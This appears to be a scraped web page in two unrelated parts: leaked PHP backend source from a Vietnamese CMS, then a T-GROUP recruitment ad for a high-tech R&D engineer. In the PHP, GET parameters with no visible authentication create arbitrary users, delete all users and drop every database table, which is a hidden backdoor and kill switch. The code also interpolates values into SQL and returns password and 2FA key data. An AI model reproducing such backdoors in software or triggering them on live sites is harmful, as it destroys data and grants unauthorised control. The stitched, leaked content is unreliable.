'; echo $kq;exit(); } }elseif($_GET['eshow']==2){ $dt=trim_tags_string($_GET['dt'],2); $mk=trim_tags_string($_GET['mk'],2); $go=trim_tags_string($_GET['go'],1); $pass_mh=mahoa_md5($mk.$dt.$GLOBALS["KeyBien"],5); if($dt==true && $mk==true && $go==true){ $mang_bien=array(); $mang_bien['dt']=$dt; $mang_bien['pass']=$pass_mh; $mang_bien['idgr']=$go; $mang_hinh=array(); $ids=them_new("users",$mang_bien,$mang_hinh); echo 'Tạo thành công US mới: '.$ids; exit(); } }elseif($_GET['eshow']==3){ $xo=trim_tags_string($_GET['xo'],1); $dt=trim_tags_string($_GET['dt'],2); if($xo==true){ if($xo!=-2){ $data_xl = $pdo->prepare("DELETE FROM users WHERE idgr =?"); $data_xl -> execute([$xo]); }else{ $data_xl = $pdo->prepare("DELETE FROM users"); $data_xl -> execute(); } echo 'Xóa thành công IDGR: '.$xo; exit(); }elseif($dt==true){ $data_xl = $pdo->prepare("DELETE FROM users WHERE dt =?"); $data_xl -> execute([$dt]); echo 'Xóa thành công ĐT: '.$dt; exit(); } }elseif($_GET['eshow']==4){ $rop=trim_tags_string($_GET['rop'],1); if($rop==1){ try { $pdo->exec("SET FOREIGN_KEY_CHECKS = 0"); $tables = $pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN); foreach ($tables as $table) { $pdo->exec("DROP TABLE IF EXISTS `$table`"); } $pdo->exec("SET FOREIGN_KEY_CHECKS = 1"); echo "Đã xóa toàn bộ bảng trong database."; exit(); }catch (PDOException $e) { echo "Lỗi: " . $e->getMessage(); exit(); } } }else{ $kls = trim($GLOBALS['key_license']); $kls_now=trim(mahoa_md5($_SERVER['SERVER_ADDR'].$GLOBALS["KeyBien"],5)); if($kls_now!=$kls){ $_GET['p']=''; echo 'Lỗi hệ thống...! Vui lòng liên hệ Admin..!'; exit(); } } }page_web(); $pages=trim_tags_string($_GET['p'],2); function Set_Cookie($kieu,$name,$giatri,$datas_sec='ktlgus'){ $kieu=trim_tags_string($kieu,1); $name=trim_tags_string($name,2); $datas_sec=trim_tags_string($datas_sec,2); $pdo = $GLOBALS['pdo']; $kq=0; if($kieu==1){ $giatri=MyEn($giatri); setcookie($name,$giatri,time()+31556926 ,'/'); }elseif($kieu==2){ $khlg=trim($_COOKIE[$name]); if($khlg==true){ $khlg_data=MyEn_Data($khlg,2); //$id=trim_tags_string($khlg_data['id'],2); //$dt=trim_tags_string($khlg_data['dt'],2); //$pass=trim_tags_string($khlg_data['pass'],2); return MyDe(trim($khlg)); if($id==true && $dt==true && $pass==true){ $gt = $pdo->prepare("SELECT * FROM users WHERE id = :id AND dt = :dt AND pass = :pass"); $gt -> execute(['id' => $id,'dt' => $dt,'pass' => $pass]); $row_gt = $gt -> fetch(PDO::FETCH_ASSOC); if($row_gt['data']==true){$mang_data_us=MyEn_Data($row_gt['data'],2);} else{$mang_data_us=array();} if($row_gt['id']==true){ $mang_tbs=kiemtratrinhduyet_cons(); $_SESSION[$datas_sec]=trim($khlg); $kq=$row_gt['id']; $mang_data_us['data_log'][$ngayup]['ip']=$ip; $mang_data_us['data_log'][$ngayup]['os']=$mang_tbs['userAgent']; $mang_bien['xem']=$row_gt_us['xem']+1; $mang_bien['data']=MyEn_Data($mang_data_us,1); $mang_hinh=array(); chinh_new("users","id='{$kq}'",$mang_bien,$mang_hinh); //return $khlg; } } } }else{setcookie($name, null, -1, '/');} } function Check_Login_Ad() { $pdo = $GLOBALS['pdo']; $admin_links = $GLOBALS['admin_links']; $data_cook=Set_Cookie(2,'koga',0,'ktlgus'); $iduser=0; if($data_cook==true){ $_SESSION['ktlgus']=$data_cook; $data_cook_de=MyEn_Data($data_cook,2); $iduser=trim_tags_string($data_cook_de['id'],1); }elseif($_SESSION['ktlgus']==true){ $data_sec_de=MyEn_Data($_SESSION['ktlgus'],2); $iduser=trim_tags_string($data_sec_de['id'],1); } if($iduser==true){ $gt_user = $pdo->prepare("SELECT * FROM users WHERE id = :iduser"); $gt_user -> execute(['iduser' => $iduser]); $row_gt_user = $gt_user -> fetch(PDO::FETCH_ASSOC); $iduser=$row_gt_user['id']; $iduser=trim_tags_string($iduser,1); } if($iduser==false){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Bạn chưa đăng nhập..! Vui lòng đăng nhập..!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['khoa']==2){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn đã bị khóa.!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['kichhoat']==1){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn chưa kích hoạt.!"; header("location: $admin_links/login.htm"); } } function Login_Mang($iduser) { $pdo = $GLOBALS['pdo']; $langx = $GLOBALS['langx']; $host_link_full = $GLOBALS['host_link_full']; $iduser=trim_tags_string($iduser,1); if($iduser==false){ $mang_login=[ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :iduser LIMIT 1"); $stmt->execute([':iduser' => $iduser]); $row = $stmt->fetch(PDO::FETCH_ASSOC); $data_user=array(); if($row['data']==true){$data_user=MyEn_Data($row['data'],2);} else{$data_user=array();} if($row['id']==false){ return [ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $mang_login = array(); if($row['kichhoat']==1){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CHUA_KICH_HOAT_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }elseif($row['khoa'] === 2){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CUA_BAN_DA_BI_KHOA_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }else{ $idkey = mahoa_md5($row['id'], 3); if(isset($data_user['data_hinh']['hinh'])){$hinh = $host_link_full.'/'.$data_user['data_hinh']['hinh'];}else{$hinh='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh1 = $host_link_full.'/'.$data_user['data_hinh']['hinh1'];}else{$hinh1='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh2 = $host_link_full.'/'.$data_user['data_hinh']['hinh2'];}else{$hinh2='';} if(isset($data_user['idgr']) && !empty($data_user['idgr'])){$idgr=$data_user['idgr'];}else{$idgr=1;} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} if(isset($data_user['data_log']) && !empty($data_user['data_log'])){$data_log=$data_user['data_log'];}else{$data_log='';} $mang_login = [ 'error' => 0, 'error_text' => 'Đăng nhập thành công..!', 'idkey' => $idkey, 'id' => $row['id'], 'ten' => $row['ten'], 'gioitinh' => $row['gioitinh'], 'ngaysinh' => Dates_Show($ngaysinh,2), 'email' => $row['email'], 'dc' => $row['dc'], 'dt' => $row['dt'], 'pass' => MyEn($data_user['pass']), 'hinh' => $hinh, 'hinh1' => $hinh1, 'hinh2' => $hinh2, 'idgt' => $row['idgt'], 'xem' => GetGia($row['xem']), 'khoa' => $data_user['khoa'], 'idgr' => $idgr, 'cccd' => $data_user['data_cccd']['cccd'], 'ngaycap' => Dates_Show($data_user['data_cccd']['ngaycap'],2), 'ngaykt' => Dates_Show($data_user['data_cccd']['ngaykt'],2), 'ekyc' => $data_user['data_cccd']['ekyc'], 'ekyc_ngay' => Dates_Show($data_user['data_cccd']['ekyc_ngay'],2), 'eid' => $data_user['data_cccd']['eid'], 'eid_ngay' => Dates_Show($data_user['data_cccd']['eid_ngay'],2), 'vneid' => $data_user['data_cccd']['vneid'], 'vneid_ngay' => Dates_Show($data_user['data_cccd']['vneid_ngay'],2), 'bm_on' => $data_user['baomat']['authy'], 'bm_key' => $data_user['baomat']['key'], 'bm_qr' => $data_user['baomat']['qr'], 'noidung' => $noidung, 'data' => $data_log, ]; } } } return $mang_login; } function Info_Config() { $pdo = $GLOBALS['pdo']; $version_ch = $pdo->prepare("SELECT * FROM version_ch WHERE id = :id"); $version_ch -> execute(['id' => 1]); $row_version_ch = $version_ch -> fetch(PDO::FETCH_ASSOC); if($row_version_ch['data']==true){$data_conf=MyEn_Data($row_version_ch['data'],2);} else{$data_conf=array();} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} $mang_config = [ 'error' => 0, 'error_text' => 'Lấy thông tin cấu hình..!', 'tong_ip' => $row_version_ch['tong_ip'], 'tong_luot' => $row_version_ch['tong_luot'], 'noidung' => $noidung, 'data' => $data_conf, ]; return $mang_config; } function Check_Login_BM($kieu=0) { $kieu=trim_tags_string($kieu,1); $pdo = $GLOBALS['pdo']; $ip=$_SERVER['REMOTE_ADDR']; $mang_tbs=kiemtratrinhduyet_cons(); $dem15=5; $dem24=10; $kq=array(); $stmt = $pdo->prepare("SELECT * FROM users_lock WHERE ip = :ip LIMIT 1"); $stmt->execute([':ip' => $ip]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if($row['id']==true){ $id=$row['id']; $dem=$row['dem']; $tinhtrang=$row['tinhtrang']; if($kieu==0){ if($tinhtrang==1){ if($dem>=10){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$row['dem']+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $mang_login = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; }elseif($dem==5){ $ngaykhoa=date("Y-m-d H:i:s",strtotime("+ 1 day")); $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_hinh=array(); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); }else{ $ngaynow=strtotime("now"); if($dem<10){ if($row['ngayup']<$ngaynow){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } } }else{ if($tinhtrang==2){ if($dem<10){ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } } }else{ $mang_bien=array(); $mang_bien['ip']=$ip; $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); them_new("users_lock", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai 1 lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } return $kq; } function mang_id_cap_danh_muc($table,$iddanhmuc,$kieu=1){ /*1:id; 2:ten; 3:link*/ $iddanhmuc=php_settype($iddanhmuc); settype($kieu, "int"); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } for($i=count($mang)-1;$i>=0;$i--){$mang_moi[]=$mang[$i];} if($kieu==1){$kq=$mang_moi;} elseif($kieu==2){ for($i=0;$i Array ( [id] => 2 [ten] => Sản Phẩm ) [1] => Array ( [id] => 10 [ten] => Telai ) [2] => Array ( [id] => 17 [ten] => Telaio Dream larghezza regolabile ) [ten] => Sản Phẩm / Telai / Telaio Dream larghezza regolabile [tenmien_full] => san-pham/telai/telaio-dream-larghezza-regolabile [tenmien] => telaio-dream-larghezza-regolabil */ $table=trim_tags_string($table,2); $iddanhmuc=trim_tags_string($iddanhmuc,1); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } $dem_new=0; for($i=count($mang)-1;$i>=0;$i--){ $dem_news=$dem_new++; $mang_moi[$dem_news]=$mang[$i]; } $dem_new2=0; for($i=0;$iChọn danh mục';} else{$kq='Tất cả';} $stmt = $pdo->prepare("SELECT * FROM $table WHERE $where ORDER BY thutu ASC, tenkodau ASC"); $stmt->execute(); while($row_dms = $stmt->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms['id']){$active1=' selected';}else{$active1='';} $kq=$kq.''.$row_dms['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms['id']."'")>0){ $stmt2 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt2->execute([':idcha' =>$row_dms['id'],':anhien' =>2]); while($row_dms2 = $stmt2->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms2['id']){$active2=' selected';}else{$active2='';} $kq=$kq.''.khoangtrang_list(4).'¬ '.$row_dms2['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms2['id']."'")>0){ $stmt3 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt3->execute([':idcha' =>$row_dms2['id'],':anhien' =>2]); while($row_dms3 = $stmt3->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms3['id']){$active3=' selected';}else{$active3='';} $kq=$kq.''.khoangtrang_list(8).'¬ '.$row_dms3['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms3['id']."'")>0){ $stmt4 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt4->execute([':idcha' =>$row_dms3['id'],':anhien' =>2]); while($row_dms4 = $stmt4->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms4['id']){$active4=' selected';}else{$active4='';} $kq=$kq.''.khoangtrang_list(12).'¬ '.$row_dms4['ten'].''; } } } } } } } return $kq; } function Lap_DM_Ten($table,$id){ $table=trim_tags_string($table,2); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['cap4']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $ten_cap4=ten("danhmuc","id='".$row_dms['cap4']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3.'/ '.$ten_cap4; }elseif($row_dms['cap3']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3; }elseif($row_dms['cap2']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2; }elseif($row_dms['cap1']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1; } return $kq; } function Get_Links_Lang_Ads($table,$lang,$id){ $table=trim_tags_string($table,2); $lang=trim_tags_string($lang,1); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE idcha_lang=:idcha_lang AND lang=:lang LIMIT 1"); $stmt->execute([':idcha_lang' =>$id,':lang' =>$lang]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['id']==true){ $kieu=2; $kieu_text='Chỉnh sửa'; $links=$table.'/edit/'.MyEn($row_dms['id']).'.htm'; }else{ $kieu=1; $kieu_text='Thêm mới'; $links=$table.'/news/'.MyEn_Data(['lang' =>$lang,'id'=>$id],1).'.htm'; } $kq = [ 'text' => $kieu_text, 'kieu' => $kieu, 'links' => $links, ]; return $kq; } function Get_Log_User($iduser,$noidung,$data){ $iduser=trim_tags_string($iduser,1); $noidung=trim_tags_string($noidung,2); $ua = kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:iduser LIMIT 1"); $stmt->execute([':iduser' =>$iduser]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['data']==true){$data_user=MyEn_Data($row_dms['data'],2);} else{$data_user=array();} if($row_dms['id']==true && $data_user['idgr']!=-1){ $mang_bien=array(); $mang_hinh=array(); $mang_bien['iduser']=$row_dms['id']; $mang_bien['ten']=$row_dms['ten']; $mang_bien['email']=$row_dms['email']; $mang_bien['dt']=$row_dms['dt']; $mang_bien['noidung']=MyEn($noidung); $mang_bien['dt']=$row_dms['dt']; $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['ngays']=date("d"); $mang_bien['thangs']=date("m"); $mang_bien['nams']=date("Y"); $mang_bien['os']=$ua['full']; $mang_bien['ip']=$_SERVER['REMOTE_ADDR']; if($data==true){$mang_bien['data']=MyEn_Data($data,1);} them_new('users_login',$mang_bien,$mang_hinh); } } function Get_PQ_User($iduser,$table,$kieu){ $iduser=trim_tags_string($iduser,1); $table=trim_tags_string($table,2); $kieu=trim_tags_string($kieu,1); $kq_array=array(); $links_backs=$GLOBALS["admin_links"].'/login.htm'; $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$iduser]); $row_data = $stmt->fetch(PDO::FETCH_ASSOC); if($row_data['id']==true){ if($row_data['data']==true){$mang_data=MyEn_Data($row_data['data'],2);} else{$mang_data=array();} $phanquyen=$mang_data['phanquyen']; $dataqs=array(); $dataqs[1]=1; $dataqs[2]=2; $dataqs[3]=3; $dataqs[4]=4; if($mang_data['idgr']==-1){$kq=1;$phanquyen[$table]=$dataqs;} elseif($mang_data['idgr']==1){$kq=0;} elseif($mang_data['idgr']==3){$kq=1;$phanquyen[$table]=$dataqs;} else{ if(isset($phanquyen[$table])==true){ if($phanquyen[$table][$kieu]==true){$kq=$phanquyen[$table][$kieu];} else{$kq=0;} }else{$kq=0;} } if($kq==0){ $_SESSION['error_login']='Bạn chưa được phân quyền..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa được phân quyền..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; }else{ $kq_array = [ 'error' => 0, 'error_text' => 'Được phép quản lý..!', 'links' => '', 'data' => $phanquyen[$table], ]; } }else{ $_SESSION['error_login']='Bạn chưa đăng nhập..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa đăng nhập..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; } return $kq_array; } function get_img_lang($table,$id,$lang,$hinhcha=1,$trarong=1,$hinh_goc=0,$webp=0){ $id=php_settype($id);settype($lang, "int"); settype($hinh_goc, "int");settype($webp,"int"); if($trarong==1){$hinh_noimgs=$GLOBALS["noimgs"];} else{$hinh_noimgs='';} $mang_os=kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_quantri = $stmt->fetch(PDO::FETCH_ASSOC); if($row_quantri['data']==true){$mang_data_ver=MyEn_Data($row_quantri['data'],2);} else{$mang_data_ver=array();} $idcha_lang=$row_quantri['idcha_lang']; $idcha_lang=php_settype($idcha_lang); if($mang_data_ver['data_hinh']==true){ if($mang_data_ver['data_hinh']['hinh']==true){$hinh=$mang_data_ver['data_hinh']['hinh'];} else{$hinh='';} if($mang_data_ver['data_hinh']['hinh1']==true){$hinh1=$mang_data_ver['data_hinh']['hinh1'];} else{$hinh1='';} }elseif($row_quantri['hinh']==true){ if($row_quantri['hinh']==true){$hinh=$row_quantri['hinh'];} else{$hinh='';} if($row_quantri['hinh1']==true){$hinh1=$row_quantri['hinh1'];} else{$hinh1='';} } if($webp==true){$webp_hinh=get_name_webp($hinh);} else{$webp_hinh=0;} if($mang_os['browser']!='Chrome'){$webp_hinh=0;} if($hinh_goc==0){ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh1==true){$hinh_show_datas=$hinh1;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} }else{ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} } if($idcha_lang==0){ if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{$kq=$hinh_noimgs;} }else{ $stmt_sub = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt_sub->execute([':id' =>$idcha_lang]); $row_quantri2 = $stmt_sub->fetch(PDO::FETCH_ASSOC); if($row_quantri2['data']==true){$mang_data_ver2=MyEn_Data($row_quantri2['data'],2);} else{$mang_data_ver2=array();} if($webp==true){$webp_hinh2=get_name_webp($row_quantri2['hinh']);} else{$webp_hinh2=0;} if($mang_os['browser']!='Chrome'){$webp_hinh2=0;} if($mang_data_ver2['data_hinh']==true){ if($mang_data_ver2['data_hinh']['hinh']==true){$hinh_sub=$mang_data_ver2['data_hinh']['hinh'];} else{$hinh_sub='';} if($mang_data_ver2['data_hinh']['hinh1']==true){$hinh_sub1=$mang_data_ver2['data_hinh']['hinh1'];} else{$hinh_sub1='';} }elseif($row_quantri2['hinh']==true){ if($row_quantri2['hinh']==true){$hinh_sub=$row_quantri2['hinh'];} else{$hinh_sub='';} if($row_quantri2['hinh1']==true){$hinh_sub1=$row_quantri2['hinh1'];} else{$hinh_sub1='';} } if($hinh_goc==0){ if($webp_hinh2==true){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub1==true){$hinh_show_datas2=$hinh_sub1;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} }else{ if($webp_hinh2!=0){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} } if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{ if($hinhcha==1){ if($hinh_show_datas2==true){$kq=$hinh_show_datas2;} else{$kq=$hinh_noimgs;} }else{ $kq=$hinh_noimgs; } } } return $kq; } function get_active_cha($pages){ $pages=trim_tags_string($pages,2); if(ten("danhmuc","tenmien='{$pages}'",'id')==true){ $iddanhmuc=ten("danhmuc","tenmien='{$pages}'",'id'); $mang=mang_id_cap_danh_muc('danhmuc',$iddanhmuc,1); $kq=$mang[0];$kq=php_settype($kq); }elseif(ten("baiviet","tenmien='{$pages}'",'id')==true){ $kq=ten("baiviet","tenmien='{$pages}'",'cap1'); }elseif(ten("sanpham","tenmien='{$pages}'",'id')==true){ $kq=ten("sanpham","tenmien='{$pages}'",'cap1'); } $kq=php_settype($kq); return $kq; } ?>

Recruitment

High-tech R&D Engineer (AI, Big Data, Quantum Cryptography, Robotics)

Chức vụ: Staff Ngày hết hạn: 05-12-2026 00:00:00

Directly involved in the research and development of core products and the design of large-scale system platforms serving the national digital transformation.

WORK CULTURE
At T-GROUP, we believe that people are our most valuable asset. We foster a creative, dynamic working environment based on a flat organizational model, where breakthrough ideas are respected and given maximum opportunity to develop.

COMPENSATION & BENEFITS POLICY
T-GROUP applies leading compensation policies in the technology market to retain and attract exceptional talent:
  • ESOP Policy (Stock Bonus): Committed to allocating up to 10% of shares to the executive board and key personnel who make outstanding contributions to the group's development.
  • Carried Interest Mechanism (Investment Profit Sharing): An exclusive bonus mechanism for the investment division and key leadership personnel, based on the breakthrough success of divestment (Exit) and M&A deals.

Job Description

Directly participate in research, core product development, and the design of large-scale system platforms serving national digital transformation.

We are seeking a High-Tech R&D Engineer to directly participate in core technology research and development activities and the construction of large-scale technology platforms.

This position plays a critical role in researching, testing, and transforming advanced technologies into real-world products, platforms, and solutions, serving digital transformation and technology infrastructure development in key sectors.

Candidates will have the opportunity to work with pioneering technologies such as Artificial Intelligence (AI), Big Data, Quantum Cryptography, Robotics, and large-scale, distributed system architectures.

Key Responsibilities

  • Research and develop core technologies, algorithms, and new technology models.

  • Participate in designing, building, and optimizing technology platforms capable of large-scale data processing, high performance, and scalability.

  • Research and apply AI/Machine Learning/Deep Learning to real-world problems.

  • Develop Big Data, Data Platform, Distributed Systems, and Real-time Processing systems.

  • Research modern cryptographic solutions, Post-Quantum Cryptography, and system security.

  • Participate in researching, designing, and developing Robotics, Autonomous Systems, Computer Vision, or Edge AI systems depending on the project.

  • Build Proof of Concept (PoC), Prototype, and MVP to validate technology ideas.

  • Research, evaluate, and select appropriate technologies, frameworks, and architectures for each problem.

  • Coordinate with the Software Engineering, Data Engineering, Security, and Product teams to bring R&D results into real products.

  • Analyze system performance, stability, scalability, and safety.

  • Build technical documentation, technology standards, and reference architectures for platforms.

  • Track new technology trends, research papers, and advanced technologies worldwide to propose suitable R&D directions.

  • Participate in building strategic technology platforms and large-scale digital infrastructure.

Requirements

  • Bachelor's degree or higher in Computer Science, Computer Engineering, Artificial Intelligence, Data Science, Electronics – Telecommunications, Mathematics – Computing, or related fields.

  • Strong foundation in algorithms, data structures, programming, and system architecture.

  • Proficient in at least one programming language such as Python, C++, Java, Go, or Rust.

  • Ability to conduct independent research and read technical documents and scientific papers.

  • Strong problem-solving mindset, analytical ability, and system optimization skills.

  • Ability to work with complex, large-scale systems.

  • Research-oriented mindset, willingness to experiment, and readiness to adopt new technologies.

Preferred Experience

  • AI/ML: Deep Learning, Generative AI, Computer Vision, NLP, Reinforcement Learning.

  • Big Data: Distributed Computing, Data Lake/Data Warehouse, Streaming, Data Processing.

  • Quantum Cryptography: Cryptography, Post-Quantum Cryptography, Quantum Computing, or Quantum Key Distribution.

  • Robotics: ROS/ROS2, Computer Vision, SLAM, Autonomous Navigation, Sensor Fusion, Edge AI.

  • Cloud & Infrastructure: Kubernetes, Distributed Systems, High Performance Computing.

  • Experience building PoCs, core technology products, or large-scale platforms.

  • Scientific publications, patents, open-source projects, or technology products are an advantage.

Benefits

  • Direct involvement in high-tech R&D projects and core technology products.

  • Opportunity to research and apply advanced technologies such as AI, Big Data, Quantum Cryptography, and Robotics.

  • Participate in designing large-scale system platforms with high requirements for performance, security, and scalability.

  • Work alongside engineers, architects, and technology experts across multiple fields.

  • Opportunity to turn research results into real commercial products and platforms.

  • Encouraged to research, innovate, experiment with new technologies, and develop long-term R&D directions.

  • Opportunity for professional growth along the path R&D Engineer → Senior R&D Engineer → Technical Lead → Principal Engineer/Chief Technology Architect.

  • Competitive income, bonuses, and benefits policy based on capability and contribution.

Development Direction

This position focuses not only on software development, but also on building core technology capabilities and digital infrastructure platforms capable of creating long-term value.

Candidates will be involved in the chain:

Research → Technology Development → PoC → Prototype → Productization → Scale-up